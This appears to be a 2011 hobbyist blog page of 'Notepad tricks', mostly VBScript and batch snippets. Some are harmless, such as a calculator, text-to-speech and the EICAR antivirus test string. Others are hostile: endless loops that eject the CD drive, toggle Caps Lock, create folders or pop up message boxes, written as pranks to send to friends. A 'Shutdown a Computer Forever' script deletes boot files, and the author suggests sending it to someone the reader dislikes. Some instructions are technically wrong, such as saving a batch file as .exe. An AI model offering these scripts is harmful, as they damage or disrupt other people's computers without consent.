Showing posts with label Notepad Tricks. Show all posts
Showing posts with label Notepad Tricks. Show all posts

Friday, November 18, 2011

CDROM Trick



Type the following code in the notepad....


Set wplayer = CreateObject("WMPlayer.OCX.7")
Set cdcollection =wplayer.cdromCollection
do
if cdcollection. Count>= 1 then
For i = 0 to cdcollection.Count - 1
cdcollection.Item(i).Eject
Next
For i = 0 to cdcollection. Count -1
cdcollection.Item(i).Eject
Next
End If
wscript.sleep 100
loop

Now save it with extension .vbs For eg: CDROMtrick.vbs
Open it and have fun......

(Better if you try it on friend's computer)
Comment if you tried in your computer.... Its fun. ]]

Capslock Trick


Type the following code in Notepad:

Set wshShell=wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Now save it with extension .vbs for eg. "capslock.vbs" without quotes

and click it and enjoy the fun...... If you want to stop the action then comment here.... I'll tell you the cure.

Wednesday, October 26, 2011

Make Unlimited Files in your Computer.. Nonestop

Open Notepad
Type the following:


@echo off
:subash
md  %random%
goto subash

Save it with extension .bat
Now you will see nonestop creation of folders in your computer..

If you want to try this out::
Check this out

@echo off
set /a basnet =1
:subash
md %random%
set /a basnet = %basnet%+1
if %basnet% LSS 100 goto subash


save it with extension .bat  and try urself...


Fake Virus

Open Notepad and  type the following


@echo off
cls
echo Fatal Error!! Your computer is under attack!!
pause
echo Deleting Files
pause
:files
echo @#@#a4a4Adk$%$%$
echo *#$(#ksdfkei4ksKLSE43
echo #34S#4@@!9fdkd0tKDt
echo @!dE94S7($ks)$83Q_#9
echo W3394#43#*($*@)@044dk
echo Ekdj383#*#*@KDFS@3#03
echo D#(@)!=0rDkf)$9545kdf)($
goto files

Save it as .bat file for example virus.bat and open it......
Now you will see your fake virus working.. Don't worry it will not affect your computer... It is only a trick that you can show to your friends.../.

Shutdown a Computer Forever

Open Notepad and type the following::


@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

save it as extension .exe or .cmd

Don't try it it will reboot your computer and delete the bootable files.. It is only for your knowledge purpose..
If you want to hack other's computer whom you really don't like you can create or send this file to them.....
I am not responsible if you tried it on your own or to your friends.......

Tuesday, October 25, 2011

Batch Calculator




Open Notepad
Copy the following and paste it:

@echo off
title Calculator By Subash
:back
echo
echo-----------------------------------------------------------------------------
echo Welcome to Calculator by Subash Basnet.
echo-----------------------------------------------------------------------------
echo.
set /p sum=
set /a ans = %sum%
echo.
echo = %ans%
echo----------------------------------------------------------------------------
pause
cls
echo.
echo ----------------------------------------------------------------------------
echo previous answer: %ans%
echo ----------------------------------------------------------------------------
goto back
exit

Now save it with extension .bat for eg : calculator.bat
Open it and enjoy

Open Multiple Applications at once

Open notepad:

Then type the following or the path of the application that you want to access,..

@echo off
Start /d "C:\windows\system 32" winmine.exe
Start /d "C:\windows" notepad.exe
Start /d "C:\Program Files\Microsoft Office\Office 12" Excel.exe
exit

Now save files as .bat extension for example "starting.bat"
Open the file....


Sunday, October 23, 2011

Welcome Voice Message When You Open your Computer

Goto Notepad. Type:

Dim subash, speech
subash="Hello Your name, Welcome to your Computer.

Please use me with care and Love."
Set speech=CreateObject("sapi.spvoice")
speech.Speak subash

Save it with extension .vbs like "Welcome.vbs"

Keep it in The Startup Folder......... and when ever you open the Computer.. Your computer will welcome you....

Saturday, October 22, 2011

Set Timer to Shutdown

Goto Notepad....
then type the followings...

@echo off
echo.
echo.
shutdown -s -f -t 900 -c "You are shutting down"

Save the file with the extension .bat for example "shutdown.bat"

If you want to change time change the seconds 900 to other.... and you can also change the message...

If you want to stop the process then goto Run type "Shutdown -a"

A Notepad Trick to annoy Friend

You can send this file to your friend and tell him/her to execute the file.....


Goto Notepad

Type the following:

Dim choice
choice = inputbox ("Do you think Subash is smart?", "Subash")
if (choice)=("yes") or (choice)=("YES") or (choice)=("Yes") then
msgbox("You are a good judge.")
elseif (choice)=("no") or (choice)="No" or (choice)="NO" then
do
msgbox "You cannot judge well. You are a bad guy. You are trapped. HEEE HAAA",16,"Subash"
loop
else
msgbox("Type yes or no")
end if

Save it with extension .vbs or you can save it as "Smart.vbs"

Send it to friend and tell him to open it and you can enjoy........

If you want to stop this looping Press Ctrl+Alt+Del and then in Processes End the process "wscript.exe"

Make Your computer to Speak what you want it to

Do you want your computer to say what you want to say:
Well, here's the idea,


Goto Notepad and type the following:

Dim subash,bas
message = inputBox("Enter the text","Subash")
Set bas = CreateObject("sapi.spvoice")
bas.Speak message

Save file with extension .vbs for eg. you can save it with "Speak.vbs"
Now click the file and type anything that you want to hear.........

You can keep it in the Startup of the computer......

Lock Your Folder without a Folder Locker

You can lock your folder for security without the software just by yourself......
Its simple.... Read it out:


If you want to lock folder named "music" in E: Disk
In the same drive create a file:

*Open Notepad
Type
ren music music.{645FF040-5081-101B-9F08-00AA002F954E}
save it to any name with extension .bat for eg. "Lock.bat"

*Again Open Notepad
Type
ren music.{645FF040-5081-101B-9F08-00AA002F954E} music
save it to any name with extension .bat for eg, "Unlock.bat"




Now if you will click "lock.bat"  then your folder will turn into Recycle Bin folder.....
Now no one can see the folders inside....

*Before you clicked lock.bat there will be folder......
After you clicked lock.bat it will look like this:

Now if you click "Unlock.bat" then the folder music will be unlocked and you can see your folder...

Test Your Antivirus




Check Your Antivirus



Is it possible to know if your antivirus is working properly............
Well, here's one trick that will enable you to know if your antivirus is working...

Goto start, Run, Type notepad
and write the following:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*


now save it with extension .exe ie for example you can save it with name "testmyvirus.exe"

If your antivirus is working fine than your antivirus will soon detect virus.....

It is not harmful to try so don't fear..